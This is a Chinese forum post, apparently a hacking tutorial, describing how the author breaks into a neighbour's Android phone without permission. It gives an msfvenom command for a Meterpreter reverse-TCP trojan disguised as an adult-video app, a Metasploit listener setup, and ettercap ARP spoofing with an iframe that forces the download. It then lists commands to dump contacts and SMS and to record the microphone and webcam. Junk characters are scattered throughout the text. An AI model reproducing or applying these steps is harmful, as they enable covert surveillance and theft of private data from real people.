|
) P- u) s" X( K5 l1 z5 W 五、msf+ettercap入侵邻居安卓手机
& q+ Y5 M: Y0 V$ I+ w 2 z% E. c3 J7 W3 U
( g2 h, K* j5 p0 c& T 首先启动msf 7 U1 Q8 I1 I8 E; [, B
8 [- L4 g- J" [& D
" s N; A9 j* r) X* l 先用kali生成一个安卓木马，如下命令： 5 k$ F( `# r B5 Q
1 T1 g. j! @3 o2 r* j
8 {+ @3 u9 o1 a: T Msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.109 LPORT=44444 -o ~/Desktop/ribenav.apk
0 Y3 b3 N# K% T# U0 b! `
, G# Z2 I5 C5 |0 o) Q4 N* K9 [1 L: T1 t6 B
2 p" }, k/ n( n& T3 r  为了能让对方下载以后安装我这里将马的名字命名为ribenav.apk,哈哈邻居可是个“大色鬼”，就不适用替换下载的方法了，据我所知，邻居频繁使用手机浏览器浏览新闻
: [! }- Y1 z7 n z1 N' o N. \ : `2 b( [3 j! U
+ G2 j9 z9 _# q$ K# T$ [
然后进入msf
. Z* j) d, n; {2 S9 q$ H
' H: X9 H, B3 ~4 \% t& D/ S' Y, r9 M- V& M' Q
use exploit/multi/handler
5 F! \1 m5 b+ ? 1 r+ a1 U) M& T2 L0 d0 ]3 p1 ]
" `- ] E: D5 ~$ N
set payload android/meterpreter/reverse_tcp
8 M! G. N0 x) ~) w' B7 K
+ f: K: q& w+ V6 r
0 d3 E% e0 m8 D) s' r; |8 j set LHOST 192.168.0.109 //ip为kaili的ip m* M Z3 V. @: G& K
$ D: F2 c8 z- p- _
1 t6 w; f8 T/ C" r y. N6 n set LPORT 44444 //端口一定要与前面生成的木马的端口一致 / C/ D! M3 K) [* [# S
. V4 Q2 D7 I+ A, g+ \! T/ r9 G; e1 }/ S
Exploit
! N5 T( }: O4 v0 }" `1 z : `; ^% e( x2 n( K# }
0 q/ j1 `$ B/ n& V- F+ O7 O q; c* j
 / ^( d9 o' O$ T) E z- z
; @5 P7 r2 n2 b% c* ~! K' q7 e& h/ X) E" Q+ g
下面我们开启ettercap -G
% @: Q" |. _) n0 v4 g ) o9 K0 X" s3 f
! }5 y; {; _0 r" ^* g
我物理IP为 " I6 |! n4 ]- V1 G! e
& G( |! Y2 e) l ~* O5 E
) x% q* t: A g1 S3 L% z1 R
 % `5 {# D( B5 Z h% ]* `0 i% H2 X; `, c
6 _6 K; M6 x. D( B! I7 a2 S
, E3 h- }. z# U5 H( ^ M' Z; O
别到时候再把我物理机欺骗了，之前测试物理机只装腾讯管家是可以成功欺骗的， 8 ^0 o) B' j$ H' L
" t# N) ]4 V% Q! h
- y8 s( F! @* F( T4 a+ p, N6 o 下面我们来设置一下 6 _# B3 U9 k6 d/ b6 [7 N; z
' c+ `/ J0 m# l; H& a
/ p! q! d( T$ W
1 f( u" T+ Y2 |% q/ T1 k
0 |. R$ E( q4 R& {" `1 r ^
" r: g. D4 l2 _2 Q/ t) L; ^. V 在开启欺骗之前我们先把生成的apk马丢到kaili var/www/html下，并创建一个index.htm文件内容为：<iframe src=http://192.168.0.109/ribenav.apk></iframe>,因为apk文件嘛要想直接提示下载，用iframe语句就OK了，
8 @4 V( W; A/ f- m* Y) I
/ A6 u$ d0 A) U, D! X! A
# |0 b- t; m$ n0 ?0 @ 5 F6 Y& P- k; c
|( u7 b7 X5 T1 D* d+ {/ u$ e
0 }+ I2 F i2 s& {7 h
 9 T+ J R4 B' X6 ^# R
1 Z- U0 m8 R+ i/ |2 ^! k4 w
7 e; A* u' M: j4 i Q A, T
/ w0 q/ B! ]0 r3 j) g " ?9 Z1 h3 R1 U: k' ^
I) a! e/ u4 U7 j4 F0 g / t; C/ ?9 L( g0 U- V5 t" R! x3 p
& f z$ ?' y+ S2 m c; u6 L* R5 v1 B8 B
5 B1 ^- ]( J9 g/ y, Z ) S- \3 {% I( F5 z( ?$ b: j
5 t& V N$ X- h$ b% v0 j
( N" t; M; k+ V; X: H8 M J) n
2 G9 i- ^" s6 }( K' h% N 6 d) l* J x9 [1 c
3 H8 D6 a: f+ D: N1 S! y
$ ^- W% X4 s; \0 o! u5 _& g0 h - {9 V9 u6 a; j" X9 I" Z( v
: X5 J, A% V2 H5 k+ f0 J
1 z/ Z9 j% f5 j' X6 Y4 Z 9 J6 i A( u2 x j5 E, E- A
. \1 _" F$ X8 ] ^ a) S
$ C, U: _3 Z! L
* v0 [& F+ o- E1 p k5 g- T0 m' w6 r9 R' ]
/ f9 D+ Z {" w- K6 N2 S2 {
2 a E$ H% K0 }: b W" K
* i! \, ]7 z- T8 \. h
: i6 F- o. E5 a2 g! z 7 o8 {5 U' e* w) D
7 ^+ M S- Y0 N( P1 y
2 N! q5 B; O6 j5 r: d6 m
/ v" M4 J+ y1 `& q9 L! K+ B& J
# C, R* A& o4 A% u) T+ I& s 
) g4 b0 K* ~6 b# j0 I( V ; v9 L' o2 ~0 |& b
8 G. ?0 N) l' J0 J8 o1 b
下面我们开始攻击
$ R1 o% M/ @, M; }: \' G
5 W! d1 A H! U" c$ c) |( _6 [) I; a) o* k
# k$ x Q' {# h3 I2 W' u0 B! k% B
3 s% z: r: R2 V5 y
x0 U; f/ H6 A
5 Y1 d* k5 V7 \ v- g
: }3 }0 ^7 T) u+ v) c/ {8 A: W
" {) C. C* {3 o, w
5 Y) `% \) j \- D) s% o
/ e( b) X, z' w( u2 L9 X5 L. j. Q8 [9 H6 u) U8 u) r
) R* U6 [3 N- [ ?+ E) ^
0 g6 y6 r; a+ B' q1 t6 [. j* k% i; M! M- b
 * _2 z8 M. r2 p" y& @$ h! H
8 f( u. f/ C$ Y& q
; i2 j% r2 [& K# }9 C$ I 大概过了5分钟多，发现反弹成功了 ) s3 R/ [! T+ l" ]( X5 z0 O
5 B3 i; X$ y5 u
* X" [9 _: C- |$ E, T) ^. ~
" u! C+ A& v; L1 V4 d' _: W
- K5 Z( h* C1 e! o; h
" x+ y' p+ V+ f5 ]: e& Y
3 @6 g4 q7 n: z# K( }, k$ F
P& E( X, A4 J7 P- [* @
' A* @ y3 e( _) _3 ~& E% k
0 ^" j; w8 `) O, Z0 | ( d& _8 t* r! v* I' w
( M# x. m) i' h; e1 ]% V 3 v6 M% H! F. n6 A
; D2 d: @3 v; B* u( z+ K3 J, i0 L7 j
; N3 S: {$ M7 u& a; J. P1 W% @
$ {% [- c# h# Y
' L- T) K; `" Y I# W& T- s 0 d' d) e# E4 s. T3 j: @
! k& P" s- T6 M" G- V: C. y+ i' A4 f2 b- B
 ' w) H( K+ u: ]
' [- a; r6 D5 w" T$ J- Z( Q) y
2 i S* l0 s8 o- n 执行命令
* q9 J3 }% `% |( }: n& d' q
+ e6 I5 I+ | G5 z2 b. s
7 t# Z4 y% R( a3 z" Z& x2 y 4 Z% X$ ^. E1 \8 e5 [
( E$ } D; K; l3 u
8 T; ~) a4 M) L) B
dump_contacts --》这个是导出电话 , i3 A/ W& v! C
! Z. q* e) `9 D8 T7 V/ t7 p
4 t/ j# r: t; p6 G. y# E dump_sms --》这个是导出信息
2 ^( \+ S( }" g; F
$ P6 g0 L q& b) I4 q, M: K. s5 I! b ]& _# s1 c$ _' \' R
record_mic Record audio from the default microphone for X seconds
" n7 q- c3 z/ u: L ' |8 ?' z! S) W K. i, A+ C
; _3 T1 W @5 j# W6 b& F$ O; I' W
webcam_chat Start a video chat 2 C; `9 h3 h3 \
- H3 E4 U9 i* z- C
" E9 G0 `" x4 e& l" W3 F8 M. ]" P
webcam_list List webcams . x2 v% f. z2 F4 K, A, F4 x5 ^
) d& k+ Y* c7 l7 j# H2 p1 j# D1 E R
8 h- ^! | Y, {( R" b webcam_snap Take a snapshot from the specified webcam
& z; |/ U9 I2 J- d/ K; J, H * p1 D* K3 f2 \( p1 z
( v* b; ~$ D8 ]4 n webcam_stream  lay a video stream from the specified webcam 8 k: C. l% Q9 k- @" I# [1 s
; `' i3 C! R$ K- p; i& ?
4 P$ {/ x7 ~! y) ?
- G7 E0 M4 o; P- [
4 s4 B+ c$ m9 E2 t; R- x6 }5 Z; x; J& U: P( d. r
 5 W# R/ W+ ~' e
, I8 D" A/ |7 T- T* I1 Y
% D/ k/ H) P8 n 我们打开看一下电话薄， % @2 a$ C6 \ d
5 Q5 g2 W( ]) r( {
, n! W/ ?) X5 P( D4 d- I & E5 E- c' j" {9 ]& Y' n8 o6 r
$ U: j/ n* Z5 x( z* m; y4 `' f6 {* I+ i6 r" R0 ]) I
 . \ Q% t& M8 h$ h# j5 @
" f4 \: n, \0 w+ ~& H+ u
% i1 m( x( Q0 V( n* w/ N; ?% Y ; {1 f* p9 {/ m# o
; a% F& B0 q8 B2 ]3 s1 g, ]! G& R8 l7 F' M+ E4 H
 - i1 P8 {$ p, x( Y
, P7 D- K6 f2 ]7 s2 J' F
- W, L5 a$ D- d, N! q2 m 
! ]$ z& G1 w+ n2 K
% K" T! U" U; R+ ~; D' s' Q9 h7 y2 ?: D9 x( i2 |) T, E- S+ j
: Q+ N% ?' q& h( {9 x
@% w" ^! ~% A# r c; B/ M" {: }; X2 I" \- e% ^# u7 ?
我们同时欺骗成DroidJack木马，使用方法如图：
( U' P! ?$ K( s# ^; u2 t j; ` 3 e4 [6 ]9 A/ r, J
' u1 t* N# m2 X. ~1 n3 H  + E0 w; x+ k' g' }9 P7 D
9 m( g" v" e! A" J, t8 N, n
a/ m7 B9 H+ `3 u) Y 0 L- _# J8 W! [! M) `
9 F% J, y2 P& q: \0 {' D* C: S
4 T) ~2 g- O# X 
! g, [$ |+ M# d; ~9 b $ B1 A" V" @' C7 i4 Y& l2 ?
: F. q ^% G1 d+ P 切记在前面生成完马以后记得在这里选择开关为on，并且对应前面生成马的时候的端口
9 H# W- _$ T/ `# P1 I2 N & f0 @. T' S2 [8 v2 j
1 } Z2 B4 j) N7 h5 O5 y
 : O" e2 x3 R+ |4 q! Y
* t5 M5 \# S- v; w3 R2 }3 F
7 C1 m9 a. g: Y# T! ?! C! @  * ^! d* g8 r; H- S
8 g, D" g% v/ J4 b. N
; K: f; B6 P, {( C" ]! }/ ~ 
, c4 C0 e0 g& I, y8 s
6 \* _8 n: {0 R) q; L7 O+ d6 o; c( w& ~% v
  2 |: s1 E6 R/ A% t& i: j' s
+ W* ~6 T& \; T7 O, Z l9 P0 `. ?+ ~9 B8 ? @$ w
* L1 L- r+ o" B2 [' q+ M
| 
发表于 2018-10-20 20:30:37
收藏
支持
反对